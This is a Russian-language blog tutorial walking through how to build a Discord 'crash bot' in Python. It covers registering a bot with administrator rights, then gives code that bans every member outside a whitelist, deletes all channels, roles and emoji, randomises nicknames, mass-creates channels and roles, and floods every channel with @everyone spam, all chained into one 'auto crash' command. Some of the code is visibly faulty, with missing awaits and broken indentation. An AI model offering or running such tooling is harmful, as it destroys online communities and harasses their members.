Найти в Дзене
Карарасёнок =)

Краш бот для дискорда

Всем привет! С вами карарасёнок и сегодня мы сделаем краш бота для дискорда на питоне! Чтож, поехали! Что нам надо? Нам понадобится: Как установить питон? Для этого переходим на оффициальный сайт питона и устанавливаем последнюю версию которую поддерживает ваш компьютер (например последняя версия которую можно установить на windows 7, это 3.8.10) И да, обязательно нажмите add python to PATH иначе вы не сможете установить discord py Что дальше? Дальше нам надо установить все модули командой pip, т. е прописываем: pip install discord.py Модуль asyncio уже встроен и его не надо устанавливать. Если что, установите либо Visual Studio Code, либо sublime text, либо PyCharm (просто кликните по тексту чтоб сразу скачать нужную версию). Лично я рекомендую Sublime Text, мало весит, быстро запускается, но зато это не ide и там меньше всего возможностей. Ну или можете в блокноте записывать, как хотите так и делайте (правда в IDE или в редакторе кода удобнее).
Давайте кодить! Для начала за
Оглавление
Лого статьи =)
Лого статьи =)

Всем привет! С вами карарасёнок и сегодня мы сделаем краш бота для дискорда на питоне! Чтож, поехали!

Что нам надо?

Нам понадобится:

  1. Питон 3.8 и выше
  2. Модуль discord py
  3. Модуль asyncio
  4. Модуль Random
  5. Модуль String

Как установить питон?

Для этого переходим на оффициальный сайт питона и устанавливаем последнюю версию которую поддерживает ваш компьютер (например последняя версия которую можно установить на windows 7, это 3.8.10)

И да, обязательно нажмите add python to PATH иначе вы не сможете установить discord py

-2

Что дальше?

Дальше нам надо установить все модули командой pip, т. е прописываем:

pip install discord.py

Модуль asyncio уже встроен и его не надо устанавливать.

Если что, установите либо Visual Studio Code, либо sublime text, либо PyCharm (просто кликните по тексту чтоб сразу скачать нужную версию). Лично я рекомендую Sublime Text, мало весит, быстро запускается, но зато это не ide и там меньше всего возможностей. Ну или можете в блокноте записывать, как хотите так и делайте (правда в IDE или в редакторе кода удобнее).

Давайте кодить!

Для начала зайдём в наш редактор кода / IDE и нажмём сочитание клавиш ctrl + n и ctrl + s и назавём файл например bot.py и мы опять наживаем ctrl + n и ctrl + s, но мы теперь называем файл start.bat и вписываем туда такой код:

@echo off
python file_name.py
pause

Вместо file_name вписывайте название файла.

Примерно так выглядит код у меня
Примерно так выглядит код у меня

После идём на discord.com/developers и нажимаем New Application

Кнопка "New Application"
Кнопка "New Application"

Дальше придумываем название и нажимаем на кнопку Create

-5

Если хотите, можете сделать аватарку и описание

Что где находится
Что где находится
Описание профиля
Описание профиля

После идём во вкладку bot

-8

Нажимаем Add Bot и Yes, do it

-9

У вас должен был создаться бот, после нажимаем Reset Token (Если нет, то нажмите Copy), опять Yes do it, и если у вас есть Двухфакторная Аунтентификация (Проще 2FA) то тогда вам надо будет ввести 6-значный код из приложения Google Authenticator (Писал по памяти так что возможно название отличаются). После нажимаем Copy

-10

После включаем пункт server members intent

Он у вас будет выключен
Он у вас будет выключен

Далее идём в OAuth2 во вкладку url generator

-12

в scopes надо выбрать bot, а в BOT PERMISSIONS administrator

-13

Дальше копируем ссылку и вставляем её в новой вкладке

Переходим по ссылке и выбираем нужный сервер

-14

Добавляем бота, готово!

И да, НИКОМУ И НИКОГДА НЕ СООБЩАЙТЕ ТОКЕН ОТ БОТА! Ок дальше идём в ранее созданый нами файл bot.py и вписываем туда

import discord
from discord.ext import commands
import asyncio
import random
import string
intents = discord.Intents.default()
intents.members = True
prefix = '!'
wl = your_id
client = commands.Bot(command_prefix = prefix, intents = intents)

В prefix вы можете заменить ! на что то другое (например ?), это будет вашим префиксом, например: чтоб команда сработала нам надо прописать !help

В wl вместо your_id надо вставить ваш айди (это надо чтобы бот не забанил вас во время автокраша или во время бана людей). Для того что бы скопировать айди, надо перейти в настройки пользователя > Расширенные > Режим разроботчика

-15

После тыкаем по себе правой кнопкой мыши и нажимаем Копировать ID

-16

И добавляем наш айди в список wl. Готово! Теперь бот вас не тронет.

Давайте создадим новую асинхронную функцию и назавём её banall, передадим параметр ctx, сделаем цикл for для того, чтоб получить полный список участников сервера, добавим поверку на имения айди участника в списке wl и будем банить =). Собствено вот код функции:

async def banall(ctx):
for member in ctx.guild.members:
if member.id not in wl:
try:
member.ban()
except:
continue
elif member.id in wl:
continue

Дальше создаём ещё одну асинхронную функцию которую назавём clearch, опять же передадим параметр ctx и создадим цикл for для получения списка каналов на сервере, а потом мы их удаляем. Код функции:

async def clearch(ctx):
for channel in ctx.guild.channels:
try:
channel.delete()
except:
continue

Снова создаём асинхронную функцию, назваем её clearrl, передаём ctx, цикл for для получения списка ролей и удаления их. Код:

async def clearrl(ctx):
for role in ctx.guild.roles:
try:
role.delete()
except:
continue

Дальше я не буду говорить типо: передаём параметр ctx

Снооова создаём асинхронную функцию, называем masks, в ней создаём переменую chars и вписываем туда string.ascii_letters + string.digits, цикл for, в нём создаём переменую nickname и записываем туда ''.join((random.choice(chars) for i in range(16))) и меняем ник на сервере. Код:

async def masks(ctx):
chars = string.ascii_letters + string.digits
for member in ctx.guild.members:
nickname = ''.join((random.choice(chars) for i in range(16)))
try:
await member.edit(nick=nickname)
except:
continue

Опять функция, называем createch, цикл for и команда создания канала. Код:

async def createch(ctx):
channel_num = 0
for b in range(200):
channel_num += 1
try:
await ctx.guild.create_text_channel(channel_num, reason = 'server crashed')
except:
continue

Теперь я не буду писать то что сверху. Теперь только код и что функция делает.

Спам ролями:
async def createrl(ctx):
role = 0
for a in range(200):
role += 1
try:
await ctx.guild.create_role(name = role)
except:
continue

Очистка эмодзи:

async def clearemj(ctx):
for emoji in list(ctx.guild.emojis):
try:
await emoji.delete()
except:
continue

Спам сообщениями:

async def msgspam(ctx):
for a in range(10000):
for channel in ctx.guild.channels:
try:
await channel.send('@everyone сервер был крашнут!')
except:
continue

Начало автокраша:

async def autocrashstart(ctx):
for channel in ctx.guild.channels:
for a in range(10):
try:
await channel.send('@everyone СЕРВЕР БУДЕТ КРАШНУТ ЧЕРЕЗ 5 СЕКУНД!')
except:
continue
await ctx.guild.edit(name = 'Crashed')
asyncio.create_task(clearch(ctx))
asyncio.create_task(clearch(ctx))
asyncio.create_task(clearch(ctx))

Авто краш:

async def autocrash(ctx):
asyncio.create_task(autocrashstart(ctx))
asyncio.create_task(banall(ctx))
asyncio.create_task(banall(ctx))
asyncio.create_task(banall(ctx))
asyncio.create_task(banall(ctx))
asyncio.create_task(banall(ctx))
asyncio.create_task(clearrl(ctx))
asyncio.create_task(clearrl(ctx))
asyncio.create_task(clearrl(ctx))
asyncio.create_task(clearrl(ctx))
asyncio.create_task(clearrl(ctx))
await clearrl(ctx)
asyncio.create_task(createch(ctx))
asyncio.create_task(createch(ctx))
asyncio.create_task(createch(ctx))
asyncio.create_task(createch(ctx))
asyncio.create_task(createch(ctx))
asyncio.create_task(createrl(ctx))
asyncio.create_task(createrl(ctx))
asyncio.create_task(createrl(ctx))
asyncio.create_task(createrl(ctx))
asyncio.create_task(createrl(ctx))
asyncio.create_task(createrl(ctx))
await clearrl(ctx)
asyncio.create_task(msgspam(ctx))
asyncio.create_task(msgspam(ctx))
asyncio.create_task(msgspam(ctx))
asyncio.create_task(msgspam(ctx))
asyncio.create_task(msgspam(ctx))
asyncio.create_task(msgspam(ctx))
asyncio.create_task(msgspam(ctx))
asyncio.create_task(msgspam(ctx))
asyncio.create_task(msgspam(ctx))
asyncio.create_task(msgspam(ctx))
asyncio.create_task(msgspam(ctx))
asyncio.create_task(msgspam(ctx))
asyncio.create_task(msgspam(ctx))
asyncio.create_task(msgspam(ctx))
asyncio.create_task(msgspam(ctx))
asyncio.create_task(msgspam(ctx))
asyncio.create_task(msgspam(ctx))
asyncio.create_task(msgspam(ctx))
asyncio.create_task(msgspam(ctx))
asyncio.create_task(msgspam(ctx))
for channel in ctx.guild.channels:
try:
await channel.send('СЕРВЕР УМЕР!')
except:
continue

Всё, с функциями покончили, теперь команды!

Создадим команду авто краша. Из-за того что мы указали авто краш в функции, то это команда будет маленькой:

@client.command()
async def auto(ctx):
asyncio.create_task(autocrash(ctx))

Ещё добавим команду очистки ролей

@client.command()
async def roles(ctx):
await ctx.send('Удаляем роли...')
asyncio.create_task(clearrl(ctx))
await clearrl(ctx)
await ctx.send('Почистил!')

Добавим команду для очистки каналов

@client.command()
async def channels(ctx):
await ctx.send('Удаляем каналы...')
asyncio.create_task(clearch(ctx))
await ctx.guild.create_text_channel('alived-channel', reason = 'clearch command')
for channel in ctx.guild.channels:
await channel.send('Почистил')

и для простого спама

@client.command()
async def spam(ctx):
await ctx.send('Начинаю спам...')
asyncio.create_task(msgspam(ctx))
await ctx.send('Наспамил!')

Давайте поменяем Rich Presence. Это делается следуйшим кодом:

@client.event
async def on_ready():
await client.change_presence(status = discord.Status.online, activity = discord.Game(name = f'{prefix}help'))
print('Бот запущен!')

И что бы наш бот заработал, нам надо в конце добавить client.run('token')

Вместо token вставляем ранее скопированый токен. Готово! Мы только что сделали краш бота! Что бы он заработал, открываем start.bat и готово!

Код из статьи

Ну а свами был карарасёнок, всем пока!